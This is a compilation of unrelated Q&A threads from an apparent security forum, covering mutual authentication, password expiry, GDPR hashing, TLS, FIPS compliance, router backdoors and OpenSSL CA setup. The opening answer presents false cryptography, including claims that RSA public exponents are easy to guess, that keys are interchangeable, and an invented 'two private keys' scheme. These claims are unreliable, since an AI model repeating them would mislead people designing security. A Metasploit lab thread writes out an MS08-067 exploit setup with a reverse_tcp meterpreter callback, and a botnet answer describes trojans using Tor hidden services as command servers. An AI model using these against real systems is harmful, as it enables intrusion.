How can we use digital signatures for mutual authentication between two computers? I get the fact that we can use digital signatures for authenticating the signer (since they are using their private key to create the signature, and this is known only to the signer ). But how can the verifier also be authenticated using digital signature? I have a feeling that we could use digital certificates for this but I am confused about how such a protocol would work.

Preface

Digital signatures and signing is not a one way street. A public private keypair is actually just a mathematically linked keypair, with one key designated as the private key and the other designated as the public key.

When you sign a message with the private key, the public key can be used to check the message and thus validate the sender. Additionally, when you encrypt a message with the public key only the private key can decrypt it. This can be used to ensure only one receiver can read the message. What some people don't realize though, is that this process is actually mathematically reversible. You could sign a message with your public key (making it only verifiable to yourself), or encrypt a message with your private key (making it readable to the world). Mathematically, keypairs are interchangeable and can both perform the same operations. However, it is worth noting that when it comes to practical applications, these keys should not be interchanged. You can read more about why a private key is chosen to be private in this StackOverflow answer. In short, both keys are derived by an exponent. In real world cryptographic applications like RSA, the exponent for the private key is made extremely large, thus causing the public key exponent to be extremely small. This makes guessing the private key WAY harder, while making the task of guessing the public key WAY easier (which is fine because everyone already knows the public key). So, if you gave out your private key and kept your public key secret, it would be easy for an attacker to derive your privately held public key when compared to the proper method of doing things.

Also, something to touch on: Mathematically, signing and encrypting is the same process. Signing a message is simply taking a hash of the message and then encrypting the hash using your private key. This encrypted hash is sent along with the message. Other users will verify this signature by decrypting it using your public key. They will then hash the message and compare the hash they computed with the hash from your signature. If they match you are verified because they only you could have used your private key to encrypt the correct hash of the message.

Note: You mention digital certificates as being used to solve your problem as if it is a separate thing from public-private key cryptography. It is not. These are both examples of asymmetric cryptography. Digital certificates contain a public key along with other metadata, all of which is usually signed by another authority (using asymmetric cryptography)

To answer your question

There are multiple ways you can do this with asymmetric cryptography. In my following examples we will have Alice and Bob who both want to authenticate the other user.

Example 1
Oddly enough, in the same SO thread I linked to explain digital certificates there is one answer to your question. Similarly, to achieve mutual authentication between two entities we can sign an encrypted message. Suppose Alice initiates a conversation with Bob. Alice encrypts the message "respond with the codeword potato" using Bob's public key. Alice then signs this encrypted message with her private key. When Bob receives the message, he can verify that Alice sent it by checking the signature against Alice's public key. Bob can then decrypt the message with his private key and respond to Alice with the codeword "potato" (encrypting his response with Alice's public key). When Alice receives the message from Bob and reads the codeword, she can validate it is Bob on the other end.

**Alternatively, Bob could just sign his response message and Alice could verify him that way (a more secure method) but this scenario has the downfall of not involving the word "potato".

Example 2
Because a public-private keypair is simply a mathematically linked keypair, we could conceivably have two private keys. In this implementation, the size of the exponent would not be chosen to be overly small or large for either key. This would prevent one key from being "weaker"/"stronger" than the other. If we give Alice the first private key, and Bob the second private key, they would be able to sign their messages with their own private key, thus making it verifiable to the other user's private key. AKA, Alice sends a "hello" message to bob, and signs it with her private key. When Bob receives the message, he can validate it using his own private key (which is the partner key to Alice's) and then respond with a "hello", signing this message with his private key. Both parties would know that the other is who they say they are. Additionally, because both of these keys are private, Alice and Bob could encrypt their messages using their own private keys, ensuring that they are only readable to the other person.

**Disclaimer: This second example came straight out of my head. There are probably implications to signing/encrypting messages back and forth like this which I am unaware of, but this is a simple to digest example.


Have botnets been used as a TOR-like network? I may be a bit naive on the subject, so bear with me.

I know that hackers can use a botnet as a proxy to hide their IP, but there are ways to discover their IP when the traffic is intercepted. I also know that they can use TOR for the same purpose, but the fact that most exit nodes are controlled by the US government would make me nervous if I was planning illegal things.

Isn't it way better to use the TOR idea of multiple encryption layers so that every node only knows the previous and next node, but in a botnet? Exit nodes would be as random as any other node and it doesn't seem like this idea is harder to implement than any other botnet (of course we're ignoring things like hidden services, rendezvous points, etc.).

Is there a mistake in my reasoning, has this already been done or is this idea just a bit of an overkill?

1 You don't necesserialy need an exit node when using Tor. It has HSs. HS's can be used as C&C which can't be taken down because their addrsessing is based on crypto.

2 It is more profitable to ship TorProject's Tor with a troyan than to make own probably buggy implementation of Tor.

3 Allowing other people to use botnet allows malware owner to say "I was just using Tor".

So, some trojans are really shipped with Tor.

The problem with this approach is that AV vendors start target Tor. For example MS deleted an obsolete version of Tor from user's computers. It seems to be OK (as long as Tor is a security software, an obsolete versiion is a security risk and it is natural to expect their users to have the latest version), but it isn't : Iranian Tor users can lose an access to Tor website and become unable to download a new version because torproject website itself is blocked in Iran.


How does changing your password every 90 days increase security? Where I work I'm forced to change my password every 90 days.  This security measure has been in place in many organizations for as long as I can remember.  Is there a specific security vulnerability or attack that this is designed to counter, or are we just following the procedure because "it's the way it has always been done"?

It seems like changing my password would only make me more secure if someone is already in my account.

  This question was IT Security Question of the Week.
  Read the Jul 15, 2011 blog entry for more details or submit your own Question of the Week.

The reason password expiration policies exist, is to mitigate the problems that would occur if an attacker acquired the password hashes of your system and were to break them. These policies  also help minimize some of the risk associated with losing older backups to an attacker.

For example, if an attacker were to break in and acquire your shadow password file, they could then start brute forcing the passwords without further accessing the system.  Once they know your password, they can access the system and install whatever back doors they want unless you happen to have changed your password in the time between the attacker acquiring the shadow password file and when they are able to brute force the password hash.  If the password hash algorithm is secure enough to hold off the attacker for 90 days, password expiration ensures that the attacker won't gain anything of further value from the shadow password file, with the exception of the already obtained list of user accounts.

While competent admins are going to secure the actual shadow password file, organizations as a whole tend to be more lax about backups, particularly older backups.  Ideally, of course, everyone would be just as careful with the tape that has the backup from 6 months ago as they are with the production data.  In reality, though, some older tapes inevitably get misplaced, misfiled, and otherwise lost in large organizations.  Password expiration policies limit the damage that is done if an older backup is lost for the same reason that it mitigates the compromise of the password hashes from the live system.  If you lose a 6 month old backup, you are encrypting the sensitive information and all the passwords have expired since the backup was taken, you probably haven't lost anything but the list of user accounts.


How to obfuscate a relation between two tables in a database? I have a kind of weird use case here, and I'm not sure how to deal with it.
I'm working on a project that stores medical data. The following requirement has been addressed by another team, but hasn't been much documented. I'm trying to understand if this is an acceptable solution, if there are any obvious vulnerabilities I may have missed, and if there's a better way to do it.

Requirement

The database stores medical data about patients.
We need to be able to query on the patient's name, surname and birth date.

On the other hand, in the case where someone would gain unauthorized access to the data, for example in the form of a database dump, we need to prevent that person from matching with certainty identities (name, surname and birth date) with medical information.
We are not required to protect the data against someone having admin privileges on the SGBD.

Present system

The Patient entity is divided in two tables. The first table holds the name, surname and birth date, while the second is the actual medical record, with all the relations to other entities.

The association is made through a hash of the identity stored in the medical record.

Identity                        Record
|id|name|surname|birthDate|     |id|hash|Some other fields...|

Basically, to get both the identity and the record, the SQL query looks like this:

SELECT * FROM Identity i JOIN Record r
  ON r.hash = hash(i.id || i.name || i.surname || i.birthDate)

Drawbacks

As stated in the comments, this provides virtually no security, since anyone knowing the code can compute the association.

Since we're using a single one-way hash, navigating from the identity to the medical record requires only one operation, but the opposite requires computing all the hashes.

The probability of simply guessing the association is inversely proportional to the number of records, although there is no way to check if that guess is true. (Unlike when guessing a password, where a public login form can give you confirmation.)

What I found so far

If querying on the name, surname or birth date wasn't necessary, we could just encrypt these fields.
If we encrypt these fields, the only way of querying them would be decrypt everything first.
I don't know why they used hashing instead of deterministic encryption for the association. Or they could have put a hash of the medical record into the patient table, so navigating from the record to the table would only require one operation.
The hash needs to be keyed or anyone seeing the code can compute the association.
The key would at the very least be stored somewhere on the application server.
The key would be passed to the SGBD in the query. That means it could be intercepted or logged, so the protection would work against someone getting, for example, a dump of the tables, but not against someone with admin rights on the DB.
Adding fake data and randomizing the order of the records can make it harder to guess the association.

Questions

First of all, is this viable at all?
Are there any obvious flaws I didn't mention?

There are a number of recommendations when dealing with hashes (algorithm type, salt, etc), but they usually apply to use cases where the data itself is not present in the database. Is it worth it to put them into practice here?

Is there a better general approach to this problem?

Are there any reference documents about handling medical data?

We need to be able to query on the patient's name, surname and birth date. On the other hand, in the case where someone would gain unauthorized access to the data, we need to prevent that person from matching identities (name, surname and birth date) with medical information.

Hashing in the current form is not a secure way of meeting this requirement. As you already mentioned, you can simply create those hashes for all patient and are done.

You do mention keyed hashing and encryption, yet I am unsure as to how that would increase security as the key would have to be somewhere and as long as that's not an HSM, database access probably comes with access to that key as well.

The secure way of solving the requirement would be to not store the patient data at all; there doesn't seem to be a requirement to list all patients or parts or filter patients by date of birth. If you choose the hash to be over FirstName|LastName|DateOfBirth, you can easily query for that data and receive all records for that patient without needing to persist that data.

If you must (I'm sure you must, albeit not in direct relation with the medical data) keep the patient data, keep it separate, i.e. in a physically different database.


Cryptographic requirements for GDPR I'm looking into how to store emails and data regarding GDPR. The reasoning is that it would be beneficial to store users emails linked to certain data (shop data about purchases and questionnaires). E.g.

User u email
User u purchased product x
User u questionnaire about experience of product x

I've read into how hashing the emails could allow for pseudonymized data, but I'm not sure if this is enough, for example.

"Although you no longer have the email addresses of all your users, you could easily compare your database to a list of known email addresses to identify which of those people use your service."

https://www.reddit.com/r/gdpr/comments/8rpb0c/storing_email_hashes_only/

There will always be a situation in which people would be able to recover the anonymised data, so my question is, is hashing of emails enough for GDPR? If not then what is the minimum requirement from a cryptographic point of view?

The GDPR does not contain any technical details, or information regarding specific implementations.

Here's recital 26 of the GDPR about pseudonymous and anonymous data:

  The principles of data protection should apply to any information concerning an identified or identifiable natural person. Personal data which have undergone pseudonymisation, which could be attributed to a natural person by the use of additional information should be considered to be information on an identifiable natural person. To determine whether a natural person is identifiable, account should be taken of all the means reasonably likely to be used, such as singling out, either by the controller or by another person to identify the natural person directly or indirectly. To ascertain whether means are reasonably likely to be used to identify the natural person, account should be taken of all objective factors, such as the costs of and the amount of time required for identification, taking into consideration the available technology at the time of the processing and technological developments. The principles of data protection should therefore not apply to anonymous information, namely information which does not relate to an identified or identifiable natural person or to personal data rendered anonymous in such a manner that the data subject is not or no longer identifiable. This Regulation does not therefore concern the processing of such anonymous information, including for statistical or research purposes.

Pseudonymous data is meant to be recovered and linked to other personal information, in some way, by the people who are authorized to do so.
Anonymous data is not meant to be useful to identify a person, in any reasonable way for anybody, and the GDPR does not apply to this kind of data.

So the question is: do you want to pseudonymize or anonymize the email addresses? Since you said that you want to "store users' emails linked to certain data like purchases or questionnaires", then it means you actually want to be able to recover the addresses, and therefore you want to pseudonymize them.
But I'm not sure if a simple hash would work. First of all, if you want to recover it, what are you going to do? Bruteforce the hash every time you want to send an email to the user? And second of all, anybody else would be able to recover it by bruteforcing it. A more reasonable pseudonymization would be achieved by encrypting the emails and giving the key only to authorized staff. Or map every email to an ID, and keep the map somewhere safe (offline and encrypted, for example). This way the email addresses will be recoverable (and therefore pseudonymous), but only a few authorized people will be able to link them to other personal information.

As you can see, it all depends on the specific purpose of your processing. Why are you keeping the emails? Who should be able to see them? Once you have defined this, you can implement "appropriate technical and organizational measures" (citing article 32 of the GDPR) to achieve your goal.


Why TLS does not sign ciphersuite? TLS negotiates a ciphersuite and TLS version to use during handshake. It confirms the handshake was not tampered with and the ciphersuite and TLS version were not downgraded using the negotiated ciphers, as explained here. However, this verification relies on the ciphers negotiated on the handshake, so if the ciphers the attacker chosen were sufficiently weak to break quickly, he may be able to send these confirmation messages as well.

My question is, why doesn't the server use its private key to sign its ciphersuite and TLS version (and timestamp of validUntil) so the client can detect downgrade attacks? While the client does not have the public key at the time, the signature can be kept by the client until the certificate is validated and then verified. Why is this not done by the TLS protocol?

The server does sign the ciphersuite. The whole protocol negotiation (covering the ciphersuite, the keys, etc.) is signed. That's the last thing in the handshake: the Finished message. See What stops an attacker from tampering with data sent during the SSL/TLS handshake? and How does SSL/TLS work? for more details.

You note:

  this verification relies on the ciphers negotiated on the handshake, so if the ciphers the attacker chosen were sufficiently weak to break quickly, he may be able to send these confirmation messages as well.

and ask:

  why doesn't the server use its private key to sign its ciphersuite and TLS version (and timestamp of validUntil) so the client can detect downgrade attacks?

Once again, the server does use its private key to sign the ciphersuite and the client does verify it. It happens at the end of the handshake because it can't happen until the client and the server have agreed on what the server's key is and why it should be trusted.

You're worried about an attacker convincing the client to use a weak ciphersuite for which they can forge a signature. Well, there are two cases.

The client knows that the ciphersuite is weak and refuses to use it. Then there's no problem. The client will close the connection.
The client doesn't know that the ciphersuite is weak. Then there's nothing to do. The whole conversation happens with the attacker. The legitimate server is not involved at all. There's no way the legitimate server can protect the client against an attack when the legitimate server does not even participate in the protocol.


A SW system constructed with Microsoft CNG can be FIPS 140-2 Level 2 Compliant? We have to design and construct a system that signs files with sensible data, like evidences/proofs. The sign process is simple, basically calculate MD5 of the file content and encrypt the MD5 result with 3DES. The problem is primary the key storage and management.

The keys will be provided by government agency using an SmartCard (Cryptoflex) or by sending a file encrypted with our certificate.

The question is, can be construct such system using exclusively software modules, not HSM or similar, being such system FIPS 140-2 Level 2 compliant?

The idea is to load the keys into Windows CNG using Windows software KSP (Windows Server 2008 R2) and then, requesting CNG performing the cryptographic operations over the data to be signed.

Alternatively the system could be CC-1 low level or EAL 5 compliant.

Microsoft CNG is FIPS 140-2 Level 1 and seems there are plans to be Level 2 compliant. Also is stated that can be used to construct a system Level 2 compliant. Our question is about avoiding HSM or any HW solution to store the keys and/or performing cryptographic operations. Key loading using an Smart Card reader is ok due to is a cheap device (<100$?).

Any other software library can be used, in conjunction with Microsoft CNG or a complete replacement like some implementations of PKCS#11. Library must be .Net, preferably .Net 4. The last and final/harder question is, we are thinking executing this software in Microsoft IIS as a web application (intranet only), interacting with local database and local filesystem, this is a problem and should be designed as an standalone Windows application?

Any advice is appreciated.

OK, these are a lot of questions for one answer, and I think I can probably only hit two of them.. but here it goes:

FIPS 140-2 Level 2

The FIPS 140-2 requirements are centered around how keys are managed, protected, manipulated and stored.  For reference, I'm reading the Security Requirements from the NIST site.

What I'm seeing is that in the transition from Level 1 to Level 2, the standard adds requirements that relate to the physical storage of key material - most strikingly tamperproofing on a physical level.  The requirements move from working in Level 1 where the key storage could be software, to requirements where I can't see any way that you could hold the keys in the memory of a standard PC or laptop - you have to have a protected physical location for the key material.

That's not to say that the protected physical location has to be a $10,000 HSM - if I'm reading the Validated Cryptographic Modules list right, there are a few cases in there where vendors of what appear to be SmartCard based products are validated all the way to Level 3.  Certainly some SmartCard products provide tamper evidence.

From my experience, when you are operating your key store in software, you can't really call the overall system a FIPS 140-2 level 2 solution - because you can't give that tamper-proof evidence strongly enough.  But you can get software modules that can "operate in a FIPS 140-2 Level 2 mode" - meaning they will interoperate with a device that can provide tamper evidence at this level and the module will do so in a standards compliant way that doesn't move the key to any place it shouldn't go.

To try to nail down the question - if you can find a FIPS 140-2 level 2 compliant smart card product (and I think you can), you can make a lower-than-HSM cost solution work, but you have to realize that the SmartCard will need to be present whenever you want your solution to do crypto operations - because taking the keys off the card will destroy the purpose of tamper-proofing.  So I'm not sure you're going to get to "Key loading using an Smart Card reader" which to me implies trying to get the protected keys off the card.

Alternate Standards - CC-1 and EAL 5

I'm a little confused here as these are not exactly the same thing.  EAL 5 is for a fairly stringent level of verification that a product meets its defined security behavior.  But it's not the same thing as the key protections provided by FIPS 140-2.  Frequently, I've developed systems that have had to use both, because they offer different types of assurance.  Having a really high EAL level will protect you in different ways from having Level 2 FIPS.

I'd be very reluctant to recommend interchanging these - you need to design a system that protects itself to the level of the risks in the environment and the value of information/operations it protects.  Swapping between standards isn't going to do that - security analysis will.

Intranet or standalone

This really has to be based on the needs of an application.  Where you situate it, how you control access, what purposes Intranet or local users will have for it, and what you need to protect will dictate where you put it and what protections you need for it.

Certainly, the more accessible you make the application, the wider your surface area for attack will be.  But online systems may also be easier to update and maintain, and if availability in a crisis outweighs inaccessibility in case of attack, then online may well be better than standalone client.

I'd be wary of advice on this point that didn't stem from a fairly comprehensive discussion of your purpose and product.


How safe I am without antivirus on Windows 7 with restricted security policy enabled? I've Windows 7 with latest updates without any antivirus software.

I use ZoneAlaram Free Firewall to restrict application from accessing Internet without my knowledge (every new application requires ok/cancel in firewall's popup).

Administrative account is locked with password and for everyday usage I use restricted Windows account.
Also I've enabled Application whitelist policy in secpol.msc snap-in. Only applications from C:\Windows and C:\Program Files are allowed to run. When I download something (from trusted sources, of course) what I want to install I place installer into C:\Program Files and start it from there (this happens rarely). I've added .js, .ps1, .vbs into list of executables in security policy to prevent attacks from 'viruses' which encrypt user's files (idea from https://www.bleepingcomputer.com/tutorials/create-an-application-whitelist-policy-in-windows/
In google chrome I've disabled all plugins, removed extensions.

Except zero-day or any other unknown vulnerabilities in Windows, Office, Google Chrome what should I be afraid of? I know my method is not 100% secure, from time to time I download free one time antivirus software (drweb cureit) and verify my system. What do I miss?

If I want to use some application (skype, etc.) and want to be sure that it does not have access to my files is it safe to run it under special account (create restricted account, for example, skype-user, and start skype using runas)?

P.S. I've replaced taskmgr with process explorer, disabled through sysinternals autoruns utility everything what I do not think is required to the extent of working system, of course.

In depth defense recommends that you put multiple defense lines to protect your system against as much attack vectors as possible. What you describe sounds good because you try hard to control what will be executed on your system.

But IMHO, antiviruses are specialized pieces of software that research downloads and file systems for known signatures, independantly of the way they would be later triggered, and that later control again at execution time. IMHO this a complementary to your security measures, because I cannot find that in what you describe.

So I cannot really say what is the risk of not running an anti virus. I really depends too much of your usage of the system and of internet data. But as antivirus could do controls different from what you already have, my advice would be to use one free antivirus (Avira or Avast have good reputation) in addition to your other security measures.


Why would a user agent string be executed? I'm having trouble understanding how a particular XSS vulnerability might arise in the real world.  Guides for two of the exercises on hackthissite.org:

http://www.hackthissite.org/missions/realistic/9/
http://www.hackthissite.org/missions/realistic/11/

recommend XSS attacks to steal cookie information.  In the first example the script is inserted in a message to be displayed for another user, and I can imagine a naive message display system blindly parsing HTML and JavaScript.  But in the second case the XSS is supposed to exploit a user agent logging script.

  Why would a script for logging user agents interpret and execute JavaScript in the user agent string?

From searching online I get the impression that this is a fairly common attack vector, but (perhaps because my expertise is all in compiled languages) I'm having trouble imagining a realistic logging script that would involve actually executing the user agent string.  Surely simply accessing navigator.userAgent does not cause the string to be evaluated.

In addition to the fine information provided by @TildalWave, there are also cases with very poorly written or parsed browser sniffers. Sometimes people have a tendency to just drop the code in their project and not really understand it leading to the spread of any flawed methodology. The problem most arises from the types of sniffers that pass the value of your UA to a function to decide which "page" to load and what values to set to mitigate issues in IE, Firefox, Chrome, or Opera. What happens is that if a person passes a well crafted UA to your code and you do not properly "sanitize" it before handling it in your core, you could allow it to find a vulnerability. They can hijack an active session, grab unencrypted cookie data and/or place them, etc.


Can a static IP address be a trusted user identifier in a secure environment? Would it be an acceptable practice, if we were to register a client (individual or company) by associating them with their static IP address to perform some secure action that only authorized clients can do? I looked at the answers stating that restricting clients by their static IP addresses is a good additional protection, and that spoofing an IP address is not a practical attack in two-way communication. I would like to understand how acceptable is it from security perspective to use the client's static IP as the only means to authenticate the client. What would be the specific risks associated with such method?

There are several problems with IP-only authentication.

It is not, by itself, secure. A man-in-the-middle attacker can pretend to be the expected host at any IP address, and spoof anybody they want. If you want to prevent that, you'll still need an authenticated and secured channel, such as IPSec or TLS.
An attacker that doesn't need to see response messages can still send requests to the server, if the server supports UDP or protocols that don't require a bi-directional handshake prior to sending any data.
It's brittle. If the IP address ever changes, for any reason, not only will your authorized host lose access, but whoever happens to get the old IP (by luck or by malice) will now be treated as authenticated.

I strongly recommend another approach. Mutual TLS/DTLS is a good option for Internet-based connections where you control, or at least can coordinate, both endpoints. Standard TLS (which only authenticates the server) also works if you have some other way to authenticate the client, such as a password or other pre-shared credential, though then you have to protect against all the standard attacks on authentication systems. Adding IP filtering on top of [D]TLS is generally fine, aside from the brittleness risk


How does Shodan take screenshots from webcams which have authentication? I just got my academic license for Shodan and I was playing around it. I noticed that when I use the
has_screenshot:true

filter it even shows screenshots from sites which requests authentication.
How is that possible? Because according to this, Shodan can not do that.
So am I seeing a cached version or something?

Shodan doesn't authenticate with the device at all so most likely the device added authentication after it was already crawled/ indexed. The screenshot in Shodan isn't real-time. It was taken when the crawler visited the IP. You can use our new website to see the timestamp of when the data was collected (top right corner of the banner). And you can click the "History" tab to see how long that webcam has been online.


MS08_067 with Metasploit I'm learning how to use Metasploit. I'm using VirtualBox to run a VM with Kali Linux (192.168.56.101) and another with Windows XP SP1 (192.168.56.103). The two VMs can ping each other and Windows Firewall is disabled. I'm running Metasploit on Kali Linux and trying to attack Windows XP SP1.

I fire up msfconsole and start with a port scan:

nmap -sT -A --script=smb-check-vulns -Pn --script-args=unsafe=1 192.168.56.103

which tells me

Host script results:
| smb-check-vulns:
|   MS08-067: VULNERABLE

I set the parameters this way:

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.56.103   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     192.168.56.101   yes       The listen address
   LPORT     8080             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   2   Windows XP SP0/SP1 Universal

Then:

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.56.101:8080
[*] Attempting to trigger the vulnerability...
msf exploit(ms08_067_netapi) > sessions -l

Active sessions
===============

No active sessions.

What am I doing wrong?

edit: I did the same with a Windows XP SP3 VM and it worked! I really don't understand why it won't work with Windows XP SP1...

It seems your exploit does not succeed. You may try different payload or change LPORT. Sometimes ports may be blocked by firewall and you won't get reverse shell. And once your exploit is successful, you will get reverse shell immediately, no need to type "sessions -l" command.


TCP Traffic, SSL or extra Tunnel I have a situation where we (as a SaaS vendor) are migrating one of our clients away from their local premise to our public SaaS.

However as a security concern they want to route all their TCP traffic over an IPSEC Tunnel to our application.
Now i'm not very familiar with doing that (i've done it once) and i don't believe in just doing things like that quickly.

But it makes me wonder, is that really neccesary if we already use a strong TLS1.2 encryption on the webserver? I constantly check to ensure we keep an A+ score on ssllabs.com/ssltest and i'm wondering if that isn't secure enough?

Obviously i can understand that adding an extra layer of encryption will always be more secure. But i want to see if there is an argument to be made for the pros and cons of this.

Is there anyone who has any insight into this?

IPSEC is not focusing data safety without sub-protocols. You can review ESP, AH, IKE sub-protocols for a better comparison with SSL/TLS.

Yes they have both same goal but with tunnel you will have some management capabilities which are listed below.

they can access your server with a private ip space (so they will not
whitelist your application domain address on http proxies of their
outgoing traffic gateway or will be easier for DLP configurations
etc.).
They can ask a web server which is not accessible over WAN (for safety purposes).
SSL/TLS is an third party dependency, the certificate vendor so this is a additional liability. You can build up a tunnel without any additional party dependency.
Network administrators can write custom routing with that tunnel, otherwise they have to route this traffic to the WAN.
They can write additional QoS rules easier if they try to manage all traffic between two network. Without tunnel they will apply this rule to all outgoing traffic which will use more resource then this solution.
They can validate status of your network and web server, they will be able to identify problem directly.
They can accept traffic (from you to them) over that tunnel.
...

So as last word, tunnel will you give more control for your network operations.


What is the difference between Promiscuous and Monitor Mode in Wireless Networks? In Wireless Networks, you can put your wireless card in Promiscuous or in Monitor Mode.

What is the difference between these two modes ?

Monitor mode: Sniffing the packets in the air without connecting (associating) with any access point.
Think of it like listening to people's conversations while you walk down the street.

Promiscuous mode: Sniffing the packets after connecting to an access point. This is possible because the wireless-enabled devices send the data in the air but only "mark" them to be processed by the intended receiver. They cannot send the packets and make sure they only reach a specific device, unlike with switched LANs.
Think of it like joining a group of people in a conversation, but at the same time being able to hear when someone says "Hey, Mike, I have a new laptop". Even though you're not Mike, and that sentence was intended to be heard by Mike, but you're still able to hear it.


Which Secure Development Lifecycle model to choose? We are going to secure our software development life cycle and have been researching for a good model to start with.
I have found 3 major models (methodologies?) which are :

Cigital SDLC (7 touch points )
Microsoft SDLC
OpenSAMM SDLC
BSSIM

I couldn't choose either of them since i have no idea which one is best choice compared to other, I need some professionals to guide me on this based on their own experience on the projects and help us decide better.
What are the pros and cons of these models?
It would be great if anyone could guide us in a way that the difference between these models can be more clear. or if one suite some kind of projects better than the others.
We are going to secure the development a software project for a financial institute , so if this imposes some restrictions on the model we need to choose please guide us accordingly
Thanks in advance

Personally, I found OpenSAMM to be a good resource, but only after you have something setup.  It is a maturity model, which is basically a tool used to determine how well you do something.  In other words, it has a focus on metrics and reporting.  Don't get me wrong, I think there is a lot of good information in that document, but more of a phase 2.

I have not read Cigital, so I cannot comment on that one.

The MS SDLC is pretty simple to follow.  We found most of the document irrelevant, especially when they get into specific things to check for c/c++ stuff and compiler flags, but the core concepts were good.

What you are going to have to do is take the SDLC and map the phases to what you do now.  Once you have that mapping, you can then figure out what MS does in each phase and then pick a subset of that (or all of it) to include in your processes.

Think of the SDLC as the tool you will use to create the documents/process that the development team will follow.  So, for example, you should probably publish a "development best practice guide" for the dev teams (as part of development training, for example).  Since you guys are in the financial industry, you will want PCI/SOX stuff to be included in that document.  To expand, the MS SDLC talks about having developer training.  You will have to tailor that to your team and goals.  For example, you may do a lot of c# training, so you will want to include c# training as part of your training goals.

Most of these models are going to come down to a couple of major components.

1)  Build security in (at the requirements stage)
Make sure you are looking at the correct docs / strategies, and that functional/non-functional requirements focus on security at the outset.  Make sure your goals are aligned with that of the client.  Create bug bars, etc.  Make sure the architecture supports fail-safes, strong crypto, incident response, etc, etc

2)  Train, train, train
Developers need training.  They preform better when they know what to do, and it is in the fore-front of their mind.  Develop a training program that focuses on long term professional development as well as short term (as needed) training.

3) Deliver a secure product by following best practices, and then validate
Develop according to best practices (pick a framework such as the ASVS, OWASP Top 10, or a combination), then make sure you validate that you have done it correctly.  Do a pen test.

4) Support
Make sure you build in the right processes to support your application/client going forward.

As a side note, if you are looking for some professional help, you should consider paying for someone to come in and help you.


Security risks downloading external images automatically from script I'm a developping a program which generates images from HTML files filled with external RSS feeds data.
When the RSS feed contains images, I need to check their resolution and format (for instance, if the image is an animated GIF I have to do a specific
operation to animate the final rendering).
The feed updates are performed by a job in C#, which also generates the HTML file. The final image is generated by PhantomJS (or more probably another
scriptable headless browser, since PhantomJS development was suspended recently).

What are the security risks in downloading the images from the RSS links in C# to check their resolution and format? Would it be more safe to check all that
in the JS script I provide to PhamtomJS?

The RSS sources are supposed to be safe but they still are external sources...

From my point of view you need to follow the next steps to make it secure the download of the images.

Download the image with read only permissions on the box.
Verify the format of the received file (for example with the library libmagic that will tell you if is a real image with big probability).
Open the file with your program for read the resolution, and other values.
Delete the file.

So in case you download a executable file that somebody on the internet rename to .jpg the step 2 and step 3 will fail.

Probably wait until other users give you other useful options.


How to protect against backdoors in routers? Recently, I started looking for a wireless router. Before considering specific products, I looked up some general information about different brands offering such routers. To my dismay, I learned that the vast majority of router manufacturers has a history of backdoors being discovered in their products.

Based on this newfound knowledge, it seems to me that avoiding routers with backdoors may not really be feasible and instead of (or rather, in addition to) choosing a router carefully, I must face the possiblity that I end up having a product with backdoors. The question then becomes, how can one mitigate the risks associated with potential backdoors hiding in router equipment?

It's not government agencies I am worried about, but hackers exploiting security vulnerabilities found in networking equipment, like in this recent question. And a backdoor is basically an intentional security vulnerability begging to be found and exploited by someone, and due to its intentional nature, one that router manufacturers would be reluctant to fix.

Most of the router backdoors I am aware of have been fixed quite quickly.  Believe it or not, the router manufacturers don't usually put the "backdoor" there on purpose -- at least not at the organizational level.  Almost certainly, they are either placed there as a debugging tool and meant to be removed before production, or placed there by a rogue employee.  (What benefit is there to a manufacturer to have a backdoor?  If they want to do something, they can do it via firmware updates.  Also, your network is just not that interesting to them.)

I don't know if "vast majority" is an accurate description either, but I won't quibble semantics.  You asked how to protect yourself, and here are some options:

Have your perimeter-most device (i.e., first hop from the internet to your LAN) be reputable.  Consider a Unifi Security Gateway, or a Netgate SG-1000 at the perimeter.  Both of those companies sell to enterprises, but also price products that can be reasonable for the power user at home.  They have a reputation to maintain, and that reputation is currently quite good.
Consider a router that lets you run OpenWRT or DD-WRT.  These codebases, while not immune to vulnerabilities, are at least open and reduce the risk of backdoors being placed in them.
Don't expose the web interface to the internet.  Backdoor or not, this is where a huge proportion of the bugs are.  Use an nmap scan from the internet to see what exposure you have.
Use a non-default subnet and change the port for the web interface.  I know, I know, security by obscurity, but it actually does help for exploits using DNS rebinding or similar techniques.  (This is only useful against automated exploitation, don't expect it to be useful against a manual attacker.)
Never trust the network.  Even if you have strong security controls, practice defense in depth.  Use TLS and don't click through certificate errors.  This way, even if your router is popped, it becomes only a denial of service instead of a more significant compromise.


Configure SSL Mutual (Two-way) Authentication A lot of tutorials, a lot of pages, a lot of question and they differ in implementation of this issue "Configure SSL Mutual (Two-way) Authentication". I have to do it with Linux, and I don't know from where to start or what instructions to follow.

What I have to do is:

I have a server and many clients, they can access code on server only
if they have a signed certificate from server.
server can generate those certificates and disable them  main server
would be the CA .. that means it has to generate certificates for
others and then sign them.

I had figured what to do

generate CA certificate
generate certificates for other users.
give certificate to users.
sign certificates.
verify certificate.
regenerate certificate for user or disabled.
user can just sign from one device. (certificate mustn't be copied)

Have I missed something? do I have to be a root user ? is there's any ready bash for this ? where can i find it.why there's more than one openssl.cnf file on linux? where I should put CA certificate any information would be appreciated .

There is a handy script distributed alongside openssl, CA.sh to do most of this stuff. Its location is distribution specific. In Debian and derivatives you can locate it using:

# apt-file search CA.sh
openssl: /usr/lib/ssl/misc/CA.sh

And RedHat and derivatives the (approximate) equivalent is:

# yum provides */CA
1:openssl-1.0.1e-4.fc18.x86_64 : Utilities from the general purpose cryptography library with TLS implementation
Repo        : @updates
Matched from:
Filename    : /etc/pki/tls/misc/CA

This is a very simple bash script that eases the creation of the directory structure needed to manage a CA (this is described in the [ CA_default ] section of openssl.cnf). I recommend you to use it and look at the code to learn what it is actually doing.

# ./CA.sh -help
usage: ./CA.sh -newcert|-newreq|-newreq-nodes|-newca|-sign|-verify

This script will use the defaults provided in openssl.cnf, and/or you can provide one configuration file as an argument to the openssl $command using the -config switch if not using CA.sh.
The location of the openssl.cnf file is also distribution specific, and you can use the same commands above to find it. The one you want is the one provided by the openssl package.

You probably want to modify the following sections:

[ CA_default ]
default_days    = 365                   # how long to certify for
